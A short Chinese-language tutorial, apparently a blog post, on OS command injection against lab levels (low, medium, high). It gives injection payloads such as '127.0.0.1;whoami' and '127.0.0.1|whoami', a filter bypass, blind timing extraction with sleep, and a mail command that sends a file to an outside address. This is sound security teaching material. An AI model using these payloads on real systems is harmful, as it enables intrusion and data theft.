原理: 程序中某些功能需要执行系统命令,而开发者没有对被当成命令一部分的信息进行过滤和编码,直接使用执行命令的功能函数,从而造成恶意命令执行。
可以使用的一些字符:&&,||,;,&,|,$,',<,>>,>。
如:a&&b,先执行a,成功后执行b。a||b,先执行a,a失败后执行b。a;b,先执行a,后执行b。a|b,将a的输出当作b的输入,返回b的结果。< 是从文件中读入命令输入。>是把结果重定向到文件中。>>把结果追加到别的文本当中等等。
low:没有任何过滤,直接构造127.0.0.1;whoami,显示出当前的用户名。
medium:对&&和;进行过滤,使用未被过滤的||等进行注入,如12345||whoami,显示出当前的用户名。
high:对以上的字符都进行了替换,但是对于|这个,它替换的是‘| ’而不是‘|’(后面有个空格😓),使用|即可,127.0.0.1|whoami,显示出当前的用户名。
后记:对于没有回显的的注入,使用echo "test" > test.txt写到某个指定目录;或者使用sleep命令观察响应时间sleep $(whoami | cut -c 1 | tr a 5),是先得到用户名,截取其第一个字符,假设是a,将a替换为5。如果响应时间超过5s(大于正常响应的时间),就成功了;以及使用一些其他命令如mail your email< file.txt,将某个文件发送到邮箱。
网友评论